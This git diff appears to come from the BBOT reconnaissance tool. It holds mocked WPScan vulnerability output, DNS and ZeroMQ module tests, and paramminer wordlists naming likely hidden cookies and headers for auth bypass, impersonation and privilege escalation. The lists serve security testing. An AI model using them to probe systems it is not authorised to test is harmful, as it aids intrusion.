-            "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "19380917-4c27-4095-abf1-eba6f913b441"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 6.4.3 - Deserialization of Untrusted Data",
-        "fixed_in": "5.3.17",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "5e9804e5-bbd4-4836-a5f0-b4388cc39225"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 6.4.3 - Admin+ PHP File Upload",
-        "fixed_in": "5.3.17",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "a8e12fbe-c70b-4078-9015-cf57a05bdd4a"
-          ]
-        }
-      }
-    ]
-  },
-  "main_theme": null,
-  "plugins": {
-    "social-warfare": {
-      "slug": "social-warfare",
-      "location": "http://127.0.0.1:8888/wp-content/plugins/social-warfare/",
-      "latest_version": "4.4.6.3",
-      "last_updated": "2024-04-07T19:32:00.000Z",
-      "outdated": true,
-      "readme_url": null,
-      "directory_listing": null,
-      "error_log_url": null,
-      "found_by": "Comment (Passive Detection)",
-      "confidence": 30,
-      "interesting_entries": [
-
-      ],
-      "confirmed_by": {
-
-      },
-      "vulnerabilities": [
-        {
-          "title": "Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update",
-          "fixed_in": "3.5.3",
-          "references": {
-            "cve": [
-              "2019-9978"
-            ],
-            "url": [
-              "https://wordpress.org/support/topic/malware-into-new-update/",
-              "https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/",
-              "https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/",
-              "https://twitter.com/warfareplugins/status/1108826025188909057",
-              "https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/"
-            ],
-            "wpvulndb": [
-              "32085d2d-1235-42b4-baeb-bc43172a4972"
-            ]
-          }
-        },
-        {
-          "title": "Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)",
-          "fixed_in": "3.5.3",
-          "references": {
-            "url": [
-              "https://www.webarxsecurity.com/social-warfare-vulnerability/"
-            ],
-            "wpvulndb": [
-              "7b412469-cc03-4899-b397-38580ced5618"
-            ]
-          }
-        },
-        {
-          "title": "Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion",
-          "fixed_in": "4.3.1",
-          "references": {
-            "cve": [
-              "2023-0402"
-            ],
-            "wpvulndb": [
-              "5116068f-4b84-42ad-a88d-03e46096b41c"
-            ]
-          }
-        },
-        {
-          "title": "Social Warfare < 4.4.0 - Post Meta Deletion via CSRF",
-          "fixed_in": "4.4.0",
-          "references": {
-            "cve": [
-              "2023-0403"
-            ],
-            "wpvulndb": [
-              "7140abf5-5966-4361-bd51-ee29d3071a30"
-            ]
-          }
-        },
-        {
-          "title": "Social Sharing Plugin - Social Warfare < 4.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode",
-          "fixed_in": "4.4.4",
-          "references": {
-            "cve": [
-              "2023-4842"
-            ],
-            "url": [
-              "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f5b9aff-0833-4887-ae59-df5bc88c7f91"
-            ],
-            "wpvulndb": [
-              "ab221b58-369e-4010-ae36-be099b2f4c9b"
-            ]
-          }
-        },
-        {
-          "title": "Social Sharing Plugin – Social Warfare < 4.4.6.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Shortcode",
-          "fixed_in": "4.4.6.2",
-          "references": {
-            "cve": [
-              "2024-1959"
-            ],
-            "url": [
-              "https://www.wordfence.com/threat-intel/vulnerabilities/id/1016f16c-0ab2-4cac-a7a5-8d93a37e7894"
-            ],
-            "wpvulndb": [
-              "26ad138e-990a-4401-84e4-ea694ccf6e7f"
-            ]
-          }
-        },
-        {
-          "title": "Social Sharing Plugin – Social Warfare < 4.4.6 - Cross-Site Request Forgery",
-          "fixed_in": "4.4.6",
-          "references": {
-            "cve": [
-              "2024-34825"
-            ],
-            "url": [
-              "https://www.wordfence.com/threat-intel/vulnerabilities/id/f105bee6-21b2-4014-bb0a-9e53c49e29b0"
-            ],
-            "wpvulndb": [
-              "acb8b33c-6b74-4d65-a3a5-5cad0c1ea8b0"
-            ]
-          }
-        }
-      ],
-      "version": {
-        "number": "3.5.2",
-        "confidence": 100,
-        "found_by": "Comment (Passive Detection)",
-        "interesting_entries": [
-          "http://127.0.0.1:8888/, Match: 'Social Warfare v3.5.2'"
-        ],
-        "confirmed_by": {
-          "Readme - Stable Tag (Aggressive Detection)": {
-            "confidence": 80,
-            "interesting_entries": [
-              "http://127.0.0.1:8888/wp-content/plugins/social-warfare/readme.txt"
-            ]
-          },
-          "Readme - ChangeLog Section (Aggressive Detection)": {
-            "confidence": 50,
-            "interesting_entries": [
-              "http://127.0.0.1:8888/wp-content/plugins/social-warfare/readme.txt"
-            ]
-          }
-        }
-      }
-    }
-  },
-  "config_backups": {
-
-  },
-  "vuln_api": {
-    "plan": "free",
-    "requests_done_during_scan": 0,
-    "requests_remaining": 15
-  },
-  "stop_time": 1717183322,
-  "elapsed": 3,
-  "requests_done": 169,
-  "cached_requests": 6,
-  "data_sent": 59178,
-  "data_sent_humanised": "57.791 KB",
-  "data_received": 313184,
-  "data_received_humanised": "305.844 KB",
-  "used_memory": 225398784,
-  "used_memory_humanised": "214.957 MB"
-}"""
-
-    async def setup_after_prep(self, module_test):
-        async def wpscan_mock_run(*command, **kwargs):
-            return CompletedProcess(command, 0, self.wpscan_output_json, "")
-
-        module_test.monkeypatch.setattr(module_test.scan.helpers, "run", wpscan_mock_run)
-
-    def check(self, module_test, events):
-        findings = [e for e in events if e.type == "FINDING"]
-        vulnerabilities = [e for e in events if e.type == "VULNERABILITY"]
-        technologies = [e for e in events if e.type == "TECHNOLOGY"]
-        assert len(findings) == 1
-        assert len(vulnerabilities) == 59
-        assert len(technologies) == 4
diff --git a/bbot/test/test_step_2/module_tests/test_module_zeromq.py b/bbot/test/test_step_2/module_tests/test_module_zeromq.py
new file mode 100644
index 0000000000..7a1a6aa371
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_zeromq.py
@@ -0,0 +1,46 @@
+import json
+import zmq
+import zmq.asyncio
+
+from .base import ModuleTestBase
+
+
+class TestZeroMQ(ModuleTestBase):
+    config_overrides = {
+        "modules": {
+            "zeromq": {
+                "zmq_address": "tcp://localhost:5555",
+            }
+        }
+    }
+
+    async def setup_before_prep(self, module_test):
+        self.context = zmq.asyncio.Context()
+        self.socket = self.context.socket(zmq.SUB)
+        self.socket.connect("tcp://localhost:5555")
+        self.socket.setsockopt_string(zmq.SUBSCRIBE, "")
+
+    async def setup_after_prep(self, module_test):
+        self.zmq_events = []
+        zeromq_module = module_test.scan.modules["zeromq"]
+        original_send = zeromq_module.socket.send
+
+        async def capturing_send(data, *args, **kwargs):
+            self.zmq_events.append(json.loads(data.decode("utf-8")))
+            return await original_send(data, *args, **kwargs)
+
+        zeromq_module.socket.send = capturing_send
+
+    def check(self, module_test, events):
+        try:
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+            self.zmq_events.sort(key=lambda x: x["timestamp"])
+
+            assert len(events_json) == len(self.zmq_events), (
+                f"Event count mismatch: expected {len(events_json)}, got {len(self.zmq_events)}"
+            )
+            assert events_json == self.zmq_events, "Events do not match"
+        finally:
+            self.socket.close()
+            self.context.term()
diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py
index bfa186707b..5c5a442db7 100644
--- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py
+++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py
@@ -54,8 +54,8 @@ def check(self, module_test, events):
 
 
 class TestSubdomainEnumHighestParent(TestSubdomainEnum):
-    targets = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"]
-    whitelist = ["www.blacklanternsecurity.com"]
+    seeds = ["api.test.asdf.www.blacklanternsecurity.com", "evilcorp.com"]
+    targets = ["www.blacklanternsecurity.com"]
     modules_overrides = ["speculate"]
     dedup_strategy = "highest_parent"
     txt = None
@@ -71,8 +71,11 @@ def check(self, module_test, events):
         assert len(distance_1_dns_names) == 2
         assert 1 == len([e for e in distance_1_dns_names if e.data == "evilcorp.com"])
         assert 1 == len([e for e in distance_1_dns_names if e.data == "blacklanternsecurity.com"])
-        assert len(self.queries) == 1
-        assert self.queries[0] == "www.blacklanternsecurity.com"
+
+        # Passive subdomain enum templates operate on all seeds, even when
+        # they are outside the explicit target_list.
+        # we expect one query for the blacklantern scope and one for the unrelated evilcorp.com seed.
+        assert set(self.queries) == {"www.blacklanternsecurity.com", "evilcorp.com"}
 
 
 class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent):
@@ -80,6 +83,7 @@ class TestSubdomainEnumLowestParent(TestSubdomainEnumHighestParent):
 
     def check(self, module_test, events):
         assert set(self.queries) == {
+            "evilcorp.com",
             "test.asdf.www.blacklanternsecurity.com",
             "asdf.www.blacklanternsecurity.com",
             "www.blacklanternsecurity.com",
@@ -88,8 +92,8 @@ def check(self, module_test, events):
 
 class TestSubdomainEnumWildcardBaseline(ModuleTestBase):
     # oh walmart.cn why are you like this
-    targets = ["www.walmart.cn"]
-    whitelist = ["walmart.cn"]
+    targets = ["walmart.cn"]
+    seeds = ["www.walmart.cn"]
     modules_overrides = []
     config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}, "omit_event_types": []}
     dedup_strategy = "highest_parent"
@@ -101,9 +105,11 @@ class TestSubdomainEnumWildcardBaseline(ModuleTestBase):
     }
 
     async def setup_before_prep(self, module_test):
-        await module_test.mock_dns(self.dns_mock_data)
         self.queries = []
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(self.dns_mock_data)
+
         async def mock_query(query):
             self.queries.append(query)
             return ["walmart.cn", "www.walmart.cn", "test.walmart.cn", "asdf.walmart.cn"]
@@ -112,6 +118,7 @@ async def mock_query(query):
         from bbot.modules.templates.subdomain_enum import subdomain_enum
 
         subdomain_enum_module = subdomain_enum(module_test.scan)
+        await subdomain_enum_module.setup()
 
         subdomain_enum_module.query = mock_query
         subdomain_enum_module._name = "subdomain_enum"
@@ -120,8 +127,10 @@ async def mock_query(query):
 
     def check(self, module_test, events):
         assert self.queries == ["walmart.cn"]
-        assert len(events) == 7
-        assert 2 == len(
+        assert len(events) == 6
+        # cross-parent (rdtype, child) dedup in DNSResolve.emit_dns_children collapses
+        # the three walmart.cn->127.0.0.1 edges into a single IP_ADDRESS event
+        assert 1 == len(
             [
                 e
                 for e in events
@@ -134,7 +143,7 @@ def check(self, module_test, events):
                 for e in events
                 if e.type == "DNS_NAME"
                 and e.data == "www.walmart.cn"
-                and str(e.module) == "TARGET"
+                and str(e.module) == "SEED"
                 and e.scope_distance == 0
             ]
         )
@@ -163,24 +172,38 @@ def check(self, module_test, events):
 class TestSubdomainEnumWildcardDefense(TestSubdomainEnumWildcardBaseline):
     # oh walmart.cn why are you like this
     targets = ["walmart.cn"]
+    seeds = ["walmart.cn"]
     modules_overrides = []
     config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 10}}
     dedup_strategy = "highest_parent"
 
     dns_mock_data = {
-        "walmart.cn": {"A": ["127.0.0.2"], "TXT": ["asdf.walmart.cn"]},
+        "walmart.cn": {"A": ["127.0.0.2"], "TXT": ['"asdf.walmart.cn"']},
+        # wildcard: every *.walmart.cn resolves to an A record
+        r"regex:.*\.walmart\.cn$": {"A": ["127.0.0.99"]},
     }
 
     async def setup_after_prep(self, module_test):
-        # simulate wildcard
-        custom_lookup = """
-def custom_lookup(query, rdtype):
-    import random
-    if rdtype == "A" and query.endswith(".walmart.cn"):
-        ip = ".".join([str(random.randint(0,256)) for _ in range(4)])
-        return {ip}
-"""
-        await module_test.mock_dns(self.dns_mock_data, custom_lookup_fn=custom_lookup)
+        import random
+
+        await module_test.mock_dns(self.dns_mock_data)
+
+        # Simulate walmart.cn's real-world behavior: random subdomains each
+        # resolve to a *different* IP, so wildcard detection flags it as
+        # POSSIBLE rather than TRUE. We monkey-patch _is_wildcard_zone to
+        # return random IPs in its result set, mimicking the inconsistency.
+        _original = module_test.scan.helpers.dns._is_wildcard_zone
+
+        async def _random_wildcard_zone(host, rdtype):
+            results, results_raw = await _original(host, rdtype)
+            if results and host.endswith("walmart.cn"):
+                # Replace the consistent mock IPs with random ones so the
+                # wildcard detector sees them as POSSIBLE, not TRUE.
+                results = {".".join(str(random.randint(1, 254)) for _ in range(4)) for _ in range(5)}
+                results_raw = {str(ip) for ip in results}
+            return results, results_raw
+
+        module_test.scan.helpers.dns._is_wildcard_zone = _random_wildcard_zone
 
     def check(self, module_test, events):
         # no subdomain enum should happen on this domain!
@@ -195,7 +218,7 @@ def check(self, module_test, events):
                 for e in events
                 if e.type == "DNS_NAME"
                 and e.data == "walmart.cn"
-                and str(e.module) == "TARGET"
+                and str(e.module) == "SEED"
                 and e.scope_distance == 0
             ]
         )
@@ -216,6 +239,6 @@ def check(self, module_test, events):
                 e
                 for e in events
                 if e.type == "RAW_DNS_RECORD"
-                and e.data == {"host": "walmart.cn", "type": "TXT", "answer": '"asdf.walmart.cn"'}
+                and e.data == {"host": "walmart.cn", "type": "TXT", "answer": "asdf.walmart.cn"}
             ]
         )
diff --git a/bbot/wordlists/paramminer_cookies.txt b/bbot/wordlists/paramminer_cookies.txt
new file mode 100644
index 0000000000..ecd889463e
--- /dev/null
+++ b/bbot/wordlists/paramminer_cookies.txt
@@ -0,0 +1,557 @@
+debug
+_debug
+__debug
+debugmode
+debug_mode
+debugMode
+develop
+development
+dev
+devmode
+dev_mode
+devMode
+test
+_test
+testing
+testmode
+test_mode
+testMode
+qa
+qa_mode
+staging
+stage
+stage_mode
+preview
+preview_mode
+previewMode
+preview_token
+preview_id
+_preview
+draft
+draft_mode
+draftmode
+edit
+editmode
+edit_mode
+beta
+beta_user
+beta_tester
+isBeta
+is_beta
+canary
+canary_user
+admin
+isadmin
+is_admin
+isAdmin
+adminmode
+admin_mode
+adminMode
+admin_user
+adminUser
+admin_token
+adminToken
+internal
+_internal
+internal_mode
+isInternal
+is_internal
+trusted
+is_trusted
+isTrusted
+trusted_user
+trustedUser
+super
+superuser
+super_user
+superUser
+is_superuser
+isSuperuser
+super_admin
+superAdmin
+super_token
+staff
+isstaff
+is_staff
+isStaff
+staff_mode
+staffMode
+staff_user
+employee
+is_employee
+isEmployee
+support
+support_mode
+supportMode
+support_user
+support_token
+god
+godmode
+god_mode
+godMode
+root
+root_access
+rootAccess
+root_token
+maintenance
+maintenance_mode
+maintenanceMode
+maintenance_token
+mock
+mock_mode
+mockMode
+simulate
+sandbox
+sandbox_mode
+sandboxMode
+local
+local_mode
+isLocal
+production
+prod
+prod_mode
+prodMode
+bypass
+bypassauth
+bypass_auth
+bypassAuth
+bypass_csrf
+bypass_2fa
+bypass_mfa
+bypass_login
+no_auth
+noauth
+noAuth
+skip_auth
+skipauth
+skipAuth
+no_csrf
+nocsrf
+noCsrf
+skip_csrf
+skipCsrf
+no_throttle
+no_rate_limit
+no_ratelimit
+unsafe
+unsafe_mode
+unsafeMode
+safe_mode
+safeMode
+override
+_override
+override_user
+override_auth
+overrideAuth
+override_role
+forceadmin
+force_admin
+forceAdmin
+auth_override
+authOverride
+auth_bypass
+authBypass
+verbose
+verboselog
+verbose_log
+verboseLog
+trace
+tracing
+trace_log
+traceLog
+profiling
+features
+ff
+feature_flags
+featureflags
+featureFlags
+flag
+flags
+override_flags
+debug_flags
+backdoor
+_backdoor
+__backdoor
+secret
+_secret
+__secret
+secret_key
+secretKey
+secret_token
+secretToken
+master
+master_key
+masterKey
+master_token
+masterToken
+internal_token
+internalToken
+system_token
+systemToken
+service_token
+serviceToken
+inter
+intranet
+intranet_user
+impersonate
+impersonating
+impersonator
+impersonate_user
+impersonateUser
+impersonate_id
+impersonate_as
+impersonateAs
+runas
+run_as
+runAs
+actas
+act_as
+actAs
+sudo
+sudo_user
+sudoUser
+sudo_as
+sudoAs
+substitute
+substitute_user
+substituteUser
+on_behalf
+on_behalf_of
+onBehalf
+onBehalfOf
+onbehalfof
+delegated
+delegate
+delegate_user
+delegateUser
+become
+become_user
+becomeUser
+role
+role_id
+roleId
+user_role
+userRole
+permissions
+perms
+permission_level
+permissionLevel
+priv
+privs
+privilege
+privilege_level
+privilegeLevel
+access_level
+accessLevel
+acl_override
+aclOverride
+auth_level
+authLevel
+clearance
+clearance_level
+clearanceLevel
+loggedin
+loggedIn
+authenticated
+isAuthenticated
+is_authenticated
+authenticate
+isLoggedIn
+is_logged_in
+auto_login
+autologin
+autoLogin
+auto_login_token
+autoLoginToken
+magic_link_token
+magicLink
+magic_token
+magicToken
+remember_user
+rememberUser
+auth_remember
+authRemember
+trust_device
+trustDevice
+trusted_device
+trustedDevice
+device_trust
+deviceTrust
+keep_session
+keepSession
+session_persist
+sessionPersist
+api_key
+apiKey
+api_token
+apiToken
+access_key
+accessKey
+private_key
+privateKey
+public_key
+publicKey
+auth_key
+authKey
+master_api_key
+masterApiKey
+admin_api_key
+adminApiKey
+internal_api_key
+internalApiKey
+service_api_key
+serviceApiKey
+no_cache
+nocache
+noCache
+skip_cache
+skipCache
+bust_cache
+bustCache
+cache_bypass
+cacheBypass
+cb
+no_gzip
+nogzip
+no_compression
+noCompression
+no_log
+nolog
+no_audit
+noaudit
+silent
+silent_mode
+silentMode
+quiet
+quiet_mode
+quietMode
+hidden
+hidden_mode
+hiddenMode
+proxy_mode
+proxyMode
+internal_proxy
+internalProxy
+xff_trust
+xffTrust
+trusted_proxy
+trustedProxy
+real_ip
+realIp
+client_ip
+clientIp
+forwarded_for
+forwardedFor
+spoof
+spoof_ip
+spoofIp
+spoof_user
+spoofUser
+fake
+fake_user
+fakeUser
+fake_session
+fakeSession
+fake_admin
+fakeAdmin
+demo
+demo_mode
+demoMode
+demo_user
+demoUser
+guest
+guest_mode
+guestMode
+guest_user
+guestUser
+public
+public_mode
+publicMode
+free_trial
+freeTrial
+trial
+trial_user
+trialUser
+isTrial
+is_trial
+premium
+premium_user
+premiumUser
+isPremium
+is_premium
+paid
+paid_user
+paidUser
+isPaid
+is_paid
+subscriber
+isSubscriber
+is_subscriber
+verified
+isVerified
+is_verified
+unverified
+isUnverified
+banned
+isBanned
+is_banned
+shadowbanned
+isShadowbanned
+muted
+isMuted
+locked
+isLocked
+suspended
+isSuspended
+disabled
+isDisabled
+enabled
+isEnabled
+visible
+isVisible
+public_user
+publicUser
+private_user
+privateUser
+incognito
+private_mode
+privateMode
+secret_mode
+secretMode
+ghost
+ghostMode
+ghost_mode
+ghost_user
+ghostUser
+shadow
+shadow_user
+shadowUser
+override_email
+overrideEmail
+override_id
+overrideId
+override_role
+overrideRole
+override_permissions
+overridePermissions
+override_quota
+overrideQuota
+override_limit
+overrideLimit
+swap_user
+swapUser
+swap_account
+swapAccount
+target_user
+targetUser
+target_id
+targetId
+target_account
+targetAccount
+view_as
+viewAs
+viewas
+peek
+peek_as
+peekAs
+preview_as
+previewAs
+maintenance_password
+maintenanceToken
+shop_secret_token
+shopSecretToken
+__editor_session
+__preview_session
+__draft_session
+preview_secret
+draftKey
+preview_key
+__edit
+__admin
+__staff
+__internal
+__bypass
+ALLOW
+DENY
+PERMIT
+allow_admin
+allowAdmin
+permit_admin
+permitAdmin
+elevate
+elevated
+elevation
+elevate_to
+escalate
+escalated
+escalate_to
+escalateTo
+user_type
+userType
+usertype
+account_type
+accountType
+account_level
+accountLevel
+membership
+membership_level
+membershipLevel
+membership_id
+subscription_level
+subscriptionLevel
+subscription_tier
+tier
+tier_id
+plan
+plan_id
+user_plan
+userPlan
+member_type
+memberType
+member_role
+memberRole
+member_status
+memberStatus
+group_id
+groupId
+group_role
+groupRole
+team_role
+teamRole
+org_role
+orgRole
+tenant_role
+tenantRole
+caps
+capabilities
+acl_role
+aclRole
+current_user
+currentUser
+current_user_id
+currentUserId
+user_data
+userData
+user_info
+userInfo
+session_user
+sessionUser
+session_data
+sessionData
+profile_id
+profileId
+auth_user
+auth_username
+authUser
+authUsername
+remember_user_token
+wp_remember_me
+jwt_payload
+jwtPayload
+jwt_decoded
+logged_in_as
+loggedInAs
+login_as
+loginAs
+switch_user
+switchUser
diff --git a/bbot/wordlists/paramminer_headers.txt b/bbot/wordlists/paramminer_headers.txt
index 3fe2366059..8a132e061c 100644
--- a/bbot/wordlists/paramminer_headers.txt
+++ b/bbot/wordlists/paramminer_headers.txt
@@ -14,10 +14,8 @@ access-control-request-method
 age
 allow
 authorization
-authenticate
 cache-control
 connection
-contact
 content-disposition
 content-encoding
 content-language
@@ -28,7 +26,6 @@ content-security-policy
 content-security-policy-report-only
 content-type
 cookie
-cookie2
 dnt
 date
 destination
@@ -44,12 +41,10 @@ if-none-match
 if-range
 if-unmodified-since
 keep-alive
-large-allocation
 last-modified
 location
 origin~https://%s.%h
 pragma
-profile
 proxy-authenticate
 proxy-authorization
 public-key-pins
@@ -61,12 +56,10 @@ report-to
 retry-after
 server
 set-cookie
-set-cookie2
 sourcemap
 strict-transport-security
 te
 timing-allow-origin
-tk
 trailer
 transfer-encoding
 upgrade-insecure-requests
@@ -88,72 +81,18 @@ x-forwarded-ssl
 x-url-scheme
 x-cluster-client-ip
 x-forwarded-server~%s.%h
-proxy-host
 x-wap-profile
 x-original-url
 x-rewrite-url
 x-http-destinationurl
 proxy-connection
-x-uidh
 true-client-ip
-request-uri
-orig_path_info
 client-ip
 x-real-ip
 x-originating-ip
 cf-ipcountry
 cf-visitor
-remote-userhttps
-server-software
-web-server-api
-remote-addr
-remote-host
-remote-user
-request-method
-script-name
-path-info
-unencoded-url
-x-arr-ssl
-x-arr-log-id
 soapaction
-x-original-http-command
-x-server-name
-x-server-port
-query-string
-auth-password
-auth-type
-auth-user
-cert-cookie
-cert-flags
-cert-issuer
-cert-keysize
-cert-secretkeysize
-cert-serialnumber
-cert-server-issuer
-cert-server-subject
-cert-subject
-cf-template-path
-context-path
-gateway-interface
-https-keysize
-https-secretkeysize
-https-server-issuer
-https-server-subject
-http-accept
-http-accept-encoding
-http-accept-language
-http-connection
-http-cookie
-http-host
-http-referer
-http-url
-http-user-agent
-local-addr
-path-translated
-server-name
-server-port
-server-port-secure
-server-protocol
 cloudfront-viewer-country
 x-scheme
 x-cascade
@@ -162,630 +101,120 @@ x-http-path-override
 x-http-host-override
 x-http-method
 x-method-override
-x-cf-url
-php-auth-user
-php-auth-pw
 error
-post-vars
-raw-post-data
-proxy-request-fulluri
-request
-server-varsabantecart
-accept-application
-accept-auth
-accept-encodxng
-accept-version
 action
 admin
 akamai-origin-hop
-app
-app-key
-apply-to-redirect-ref
-atcept-language
-auth-digest-ie
-auth-key
-auth-realm
 base-url
-bearer-indication
-browser-user-agent
-case-files
-category
-ch
-challenge-response
-charset
 client-address
-client-bad-request
-client-conflict
-client-error-connect
-client-expectation-failed
-client-forbidden
-client-gone
-client-length-required
-client-method-not-allowed
-client-not-acceptable
-client-not-found
-client-payment-required
-client-precondition-failed
-client-proxy-auth-required
-client-quirk-mode
-client-requested-range-not-possible
-client-request-timeout
-client-request-too-large
-client-request-uri-too-large
-client-unauthorized
-client-unsupported-media-type
-cloudinary-name
-cloudinary-public-id
-cloudinaryurl
-cloudinary-version
-compress
-connection-type
-content
-content-type-xhtml
-cookies
-core-base
-credentials-filepath
 curl
 curl-multithreaded
-custom-secret-header
 dataserviceversion
-destroy
-devblocksproxybase
-devblocksproxyhost
-devblocksproxyssl
-digest
-dir
-dir-name
-dir-resource
-disable-gzip
-dkim-signature
-download-bad-url
-download-cut-short
-download-mime-type
-download-no-server
-download-size
-download-status-not-found
-download-status-server-error
-download-status-unauthorized
-download-status-unknown
-download-url
-env-silla-environment
-espo-authorization
-espo-cgi-auth
-eve-charid
-eve-charname
-eve-solarsystemid
-eve-solarsystemname
-ex-copy-movie
-ext
-fake-header
 fastly-client-ip
-fb-appid
-fb-secret
-filename
-file-not-found
-files
-files-vars
-foo-bar
-force-language
-force-local-xhprof
 forwarded-proto
-fromlink
-givenname
-global-all
-global-cookie
-global-get
-global-post
-google-code-project-hosting-hook-hmac
 h0st
-home
-host-liveserver
-host-name
-host-unavailable
-http-authorization
-if-modified-since-version
-if-posted-before
-if-unmodified-since-version
-images
-info
-ischedule-version
 iv-groups
 iv-user
-jenkins
-kiss-rpc
 last-event-id
-local-dir
-mail
-max-conn
 maxdataserviceversion
-max-request-size
-max-uri-length
-message
-message-b
 mode
-mod-env
-mod-security-message
-module-class
-module-class-path
-module-name
-ms-asprotocolversion
 msisdn
-my-header
-mysqlport
-native-sockets
-nonce
-not-exists
-notification-template
-onerror-return
-organizer
-params-get-catid
-params-get-currentday
-params-get-disposition
-params-get-downwards
-params-get-givendate
-params-get-lang
-params-get-type
-passkey
-path-base
-path-themes
-phpthreads
-portsensor-auth
-post-error
-postredir-301
-postredir-302
-postredir-all
-protocol
-protocols
-proxy-agent
-proxy-http-1-0
-proxy-pwd
-proxy-socks4a
-proxy-socks5-hostname
-proxy-url
-pull
-querystring
 realip
 real-ip
-real-method
-reason
-reason-phrase
-redirected-accept-language
-redirection-found
-redirection-multiple-choices
-redirection-not-modified
-redirection-permanent
-redirection-see-other
-redirection-temporary
-redirection-unused
-redirection-use-proxy
-redirect-problem-withoutwww
-redirect-problem-withwww
-ref
 referer
-refresh
-remix-hash
-remote-host-wp
-request-method-
-response
-rest-key
-returned-error
-rlnclientipaddr
-safe-ports-list
-safe-ports-ssl-list
-schedule-reply
 sec-websocket-accept
 sec-websocket-extensions
-sec-websocket-key1
-sec-websocket-key2
 sec-websocket-origin
 sec-websocket-protocol
 sec-websocket-version
-self
-send-x-frame-options
-server-bad-gateway
-server-error
-server-gateway-timeout
-server-internal
-server-not-implemented
-server-service-unavailable
-server-unsupported-version
-session-id-tag
-shib-
 shib-identity-provider
 shib-logouturl
-shopilex
-sn
-socketlog
-somevar
-sp-client
 ssl-offloaded
 sslsessionid
 ssl-session-id
-status-
-status-403
-status-403-admin-del
-status-404
-status-code
-status-platform-403
-success-accepted
-success-created
-success-no-content
-success-non-authoritative
-success-ok
-success-partial-content
-success-reset-content
 test
-test-config
-test-server-path
-test-something-anything
-ticket
-time-out
-tmp
 translate
-ua-color
-ua-resolution
-ua-voice
-unit-test-mode
 upgrade
-uri
-url-sanitize-path
-use-gzip
-useragent-via
 user-email
 user-id
 user-photos
-util
 verbose
-versioncode
-x-aastra-expmod1
-x-aastra-expmod2
-x-aastra-expmod3
 x-accel-mapping
-x-advertiser-id
-x-ajax-real-method
-x-alto-ajax-keyz
 x-api-signature
 x-api-timestamp
-x-apple-client-application
-x-apple-store-front
 x-authentication
 x-authentication-key
 x-auth-mode
 x-authorization
 x-auth-password
-x-auth-service-provider
 x-auth-token
 x-auth-userid
 x-auth-username
-x-avantgo-screensize
-x-azc-remote-addr
-x-bear-ajax-request
-x-bluecoat-via
-x-browser-height
-x-browser-width
 x-cache
-x-cept-encoding
-x-chrome-extension
-x-cisco-bbsm-clientip
 x-client-host
 x-client-id
 x-clientip
 x-client-key
-x-client-os
-x-client-os-ver
-x-collect-coverage
-x-credentials-request
 x-csrf-crumb
-x-cuid
-x-custom
-x-dagd-proxy
-x-davical-testcase
 x-debug-test
-x-dialog
-x-drestcg
-x-dsid
-x-enable-coverage
 x-environment-override
-x-experience-api-version
-x-fb-user-remote-addr
 x-file-id
 x-file-resume
-x-foo-bar
 x-forwarded-for-original
 x-forwarder-for
 x-forward-proto
-x-from
-x-gb-shared-secret
 x-geoip-country
-x-get-checksum
-x-helpscout-event
-x-hgarg-
 x-host
 x-https
-x-htx-agent
 x-if-unmodified-since
-x-imbo-test-config
-x-insight
 x-ip
-x-ip-trail
-x-iwproxy-nesting
-x-jphone-color
-x-jphone-geocode
-x-kaltura-remote-addr
-x-known-signature
-x-known-username
-x-litmus-second
-x-machine
-x-mandrill-signature
-x-mobile-ua
-x-mosso-dt
 x-msisdn
-x-ms-policykey
-x-myqee-system-debug
-x-myqee-system-hash
-x-myqee-system-isadmin
-x-myqee-system-isrest
-x-myqee-system-pathinfo
-x-myqee-system-project
-x-myqee-system-rstr
-x-myqee-system-time
-x-network-info
-x-nfsn-https
-x-ning-request-uri
-x-nokia-connection-mode
 x-nokia-msisdn
-x-nokia-wia-accept-original
-x-nokia-wtls
-x-nuget-apikey
-x-opera-info
-x-operamini-features
-x-orchestra-scheme
-x-orig-client
 x-original-host
 x-originally-forwarded-for
 x-originally-forwarded-proto
 x-original-remote-addr
-x-overlay
-x-pagelet-fragment
 x-password
-xpdb-debugger
 x-phabricator-csrf
-x-phpbb-using-plupload
-xproxy
 x-proxy-url
-x-pswd
-x-qafoo-profiler
-x-remote-protocol
-x-render-partial
-x-request
 x-request-id
 x-request-start
-x-response-format
-x-rest-cors
 x-sakura-forwarded-for
-x-scalr-auth-key
-x-scalr-auth-token
-x-scalr-env-id
-x-screen-height
-x-screen-width
 x-sendfile-type
-x-serialize
-x-serial-number
-x-server-id
-x-sina-proxyuser
-x-skyfire-screen
 x-ssl
 x-subdomain
-x-teamsite-preremap
 x-test-session-id
-x-tine20-jsonkey
-x-tine20-request-type
-x-tomboy-client
-x-tor
-x-twilio-signature
-x-uniquewcid
 x-up-calling-line-id
-x-up-devcap-screendepth
-x-upload-content-type
-x-upload-maxresolution
-x-upload-name
-x-upload-size
-x-upload-type
 x-user-agent
 x-username
